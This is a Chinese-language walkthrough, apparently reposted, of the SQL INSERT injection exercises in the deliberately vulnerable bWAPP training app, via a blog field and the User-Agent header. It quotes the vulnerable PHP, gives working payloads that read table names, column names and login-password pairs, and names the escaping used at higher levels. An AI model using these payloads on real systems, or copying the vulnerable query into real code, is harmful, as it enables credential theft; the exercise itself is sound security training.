当前位置: 代码迷 >> 综合 >> bWAPP-SQLiInsert
  详细解决方案

bWAPP-SQLiInsert

热度:99   发布时间:2024-02-23 00:25:39.0

SQL Insert注入

bwapp-bolg

代码分析

$entry = sqli($_POST["entry"]);
$owner = $_SESSION["login"];
$sql = "INSERT INTO blog (date, entry, owner) VALUES (now(),'" . $entry . "','" . $owner . "')";//故执行了 insert into blog(date,entry,owner) values(now(), '$entry', 'bee'); sql语句
//所以对()进行闭合即可

low

  1. 注入判断

    '
    

在这里插入图片描述

entry','owner')#

在这里插入图片描述

  1. 联合查询
entry',(select database()))#

在这里插入图片描述

  1. 获取表名
entry',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#

在这里插入图片描述

  1. 获取列名
entry',(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database()))#

在这里插入图片描述

  1. 提取信息
entry',(select group_concat(login,'-',password) from users))#

在这里插入图片描述

mid

使用 `addslashes`对输入的特殊字符进行转义(这些字符是单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)。)

在这里插入图片描述

high

使用 mysqli_real_escape_string对字符串中的特殊字符进行转义, 以使得这个字符串是一个合法的 SQL 语句

bwapp–User-Agent

代码分析

//获取客户端user_agent,插入数据库并回显
$ip_address = $_SERVER["REMOTE_ADDR"];
$user_agent = $_SERVER["HTTP_USER_AGENT"];
// Writes the entry into the database
$sql = "INSERT INTO visitors (date, user_agent, ip_address) VALUES (now(), '" . sqli($user_agent) . "', '" . $ip_address . "')";  
$recordset = $link->query($sql);

low

在这里插入图片描述
在这里插入图片描述

entry',(select group_concat(login,'-',password) from users))#

在这里插入图片描述
在这里插入图片描述

mid/high

分别使用了 addslashes()mysqli_real_escape_string()对数据进行消毒